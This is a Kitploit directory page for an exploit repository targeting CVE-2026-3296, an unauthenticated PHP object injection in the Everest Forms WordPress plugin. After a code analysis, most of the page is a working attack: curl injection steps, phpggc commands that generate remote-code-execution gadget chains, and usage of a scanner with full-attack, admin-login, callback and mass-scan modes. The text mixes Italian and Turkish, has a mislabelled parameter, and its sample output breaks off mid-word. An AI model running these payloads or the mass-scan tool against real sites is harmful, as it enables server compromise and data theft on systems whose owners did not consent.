Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-3296 — CVE-2026-3296 è una vulnerabilità critica (CVSS 9.8) di iniezione di oggetti PHP non autenticata nel plugin Everest Forms per WordPress. | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-3296
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296 è una vulnerabilità critica (CVSS 9.8) di iniezione di oggetti PHP non autenticata nel plugin Everest Forms per WordPress.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-3296

CVE-2026-3296 è una vulnerabilità critica di PHP Object Injection non autenticata (CVSS 9.8) nel plugin WordPress Everest Forms.

CVE-2026-3296 — Scanner per PHP Object Injection in Everest Forms

Plugin: Everest Forms – Modulo di contatto, modulo di pagamento, quiz, sondaggio e builder di moduli personalizzati Slug del plugin: everest-forms CVE ID: CVE-2026-3296 Punteggio CVSS: 9.8 (Critico) Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo di vulnerabilità: PHP Object Injection non autenticato → RCE Versioni interessate: <= 3.4.3 Versione con patch: 3.4.4 Data di pubblicazione: 7 aprile 2026 Ricercatore: 0xsabre — Mobikwik / Wordfence


📌 Informazioni sulla vulnerabilità

Il plugin Everest Forms chiama la funzione nativa unserialize() di PHP senza il parametro allowed_classes quando visualizza i metadati delle voci del form nel pannello di amministrazione.

Un attaccante non autenticato può incorporare un payload PHP object serializzato in qualsiasi campo pubblico del form e salvarlo nel database. Quando la voce viene visualizzata tramite il pannello di amministrazione, viene attivato unserialize() e viene eseguita qualsiasi POP gadget chain presente nell'ambiente.


🔍 Riepilogo della vulnerabilità


⚙️ Analisi tecnica

Modello di attacco in due fasi

root@kitploit:~
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)

Fase 1 — Iniezione: memorizzazione del payload

Hook di invio del modulo (class-evf-form-task.php, riga 75)

root@kitploit:~
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
root@kitploit:~
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Perché la sanitizzazione non è sufficiente (evf-core-functions.php, riga 4754)

root@kitploit:~
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

Questo payload rimane completamente intatto dopo sanitize_text_field():

root@kitploit:~
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

Bug aggiuntivo — return anticipato (riga 4764)

root@kitploit:~
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

Scrittura nel database (class-evf-form-task.php, riga 1326)

root@kitploit:~
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

Fase 2 — Attivazione: deserializzazione non sicura

Codice vulnerabile (html-admin-page-entries-view.php, righe 130–133)

root@kitploit:~
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

Wrapper sicuro esistente ma non utilizzato (evf-core-functions.php, riga 5594)

root@kitploit:~
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

Perché il nonce non fornisce protezione?

root@kitploit:~
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Il nonce fornisce protezione CSRF, non autenticazione. L'attaccante apre la pagina del form con GET, legge il nonce e poi invia il payload con POST.


🔴 Catena di attacco completa

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (manuale)

⚠️ Disclaimer: Questo PoC è fornito esclusivamente per scopi di ricerca sulla sicurezza, educativi e difensivi.

Prerequisiti:

  • Everest Forms <= 3.4.3 installato e attivo
  • Pagina del form accessibile pubblicamente
  • Accesso al pannello di amministrazione (per l'attivazione)

Passo 1 — Ottieni il Form ID e il nonce

root@kitploit:~
TARGET="https://target-site.example.com/contact/"

# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

Passo 2 — Crea un payload di test benigno

root@kitploit:~
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

Per un ambiente reale, genera una POP chain con PHPGGC:

root@kitploit:~
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

Passo 3 — Inietta il payload

root@kitploit:~
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

Atteso: messaggio di successo del form o reindirizzamento.


Passo 4 — Verifica nel database (WP-CLI)

root@kitploit:~
wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# O:8:"stdClass":2:{...} satırı görünmeli

Passo 5 — Attiva come amministratore

root@kitploit:~
https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

Quando la pagina viene caricata, unserialize() viene eseguito.


Passo 6 — Verifica della gadget chain (ambiente di test)

root@kitploit:~
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}
root@kitploit:~
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

🛠️ Scanner automatico

Installazione

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilizzo

Rilevamento della vulnerabilità (payload benigno)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan

Solo iniezione (Fase 1)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe

Attacco completo (Fase 1 + Fase 2)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!

Form ID manuale + payload personalizzato

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

Rilevamento con callback OOB (Burp Collaborator)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net

Scansione di massa

root@kitploit:~
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt

Con proxy (Burp Suite)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ Parametri

Modalità

ModalitàDescrizione
scanInietta un payload benigno — rilevamento della vulnerabilità
inject

Parametri generali

Parametri del form

Opzioni del payload

Credenziali amministratore

ParametroDescrizione
--admin-userNome utente amministratore
--admin-passPassword amministratore

💀 Tipi di payload

💡 Generazione di chain reali con PHPGGC:

root@kitploit:~
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# Tüm mevcut chain'leri listele
phpggc -l

📊 Stati di output dello scanner


🖥️ Esempio di output dello scanner

root@kitploit:~
[*] Hedef         : http://hedef.com
[*] Mod           : full
[*] Payload Tipi  : probe
[*] Komut         : id
[*] Admin User    : admin

[→] http://hedef.com  Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com  Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com  Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com  Adım 4: Entry ID aranıyor...
[→] http://hedef.com  Adım 5: unser
Scarica lo strumento
CampoValore
CVE IDCVE-2026-3296
CVSS9.8 Critico
TipoPHP Object Injection (Deserializzazione di dati non attendibili)
Versione interessata<= 3.4.3
Versione con patch3.4.4
AutenticazioneNon richiesta (iniezione), Admin (attivazione)
CWECWE-502: Deserializzazione di dati non attendibili
Solo Fase 1 — memorizza il payload
triggerSolo Fase 2 — attiva con accesso admin
fullFase 1 + Fase 2 — attacco completo
ParametroAbbreviazioneDescrizioneDefault
--url-uURL del target singolo—
--list-lFile con elenco di target—
--threads-tNumero di thread5
--output-oFile di outputpoi_results.txt
--proxy—URL del proxy—
--force—Continua anche se il rilevamento del plugin fallisceFalse
ParametroDescrizioneDefault
--form-idID del form CF7rilevamento automatico
--form-urlURL della pagina del formrilevamento automatico
--field-nameNome del campo targetrilevamento automatico
--nonceValore nonce del formestrazione automatica
--entry-idID entry (modalità trigger)rilevamento automatico
ParametroDescrizioneDefault
--payload-typeTipo di payloadprobe
--custom-payloadStringa serializzata personalizzata—
--cmdComando RCEid
--callback-urlURL di callback OOB—
TipoDescrizioneUtilizzo
probestdClass benigno — nessun effetto collateraleRilevamento della vulnerabilità
file_writeScrittura file (TestGadget)Verifica in ambiente di test
ssrfCallback HTTP — rilevamento OOBBurp Collaborator
wp_rceSegnaposto POP chain WordPressGenera con PHPGGC
yoast_rceSegnaposto POP chain Yoast SEOGenera con PHPGGC
monolog_rceSegnaposto POP chain MonologGenera con PHPGGC
StatoDescrizione
★ PWNEDDeserializzazione attivata + payload eseguito
★ VULNPayload iniettato — vulnerabilità confermata
~ TRIGGEREDEntry visualizzata — verifica manualmente la gadget chain
- INJ_FAILIniezione non riuscita (corretto / form assente)
~ NO_FORMNessun form Everest Forms trovato
- NO_PLUGINPlugin non installato
~ NO_CREDSCredenziali amministratore mancanti
- ADM_FAILAccesso amministratore non riuscito
~ UNREACHTarget non raggiungibile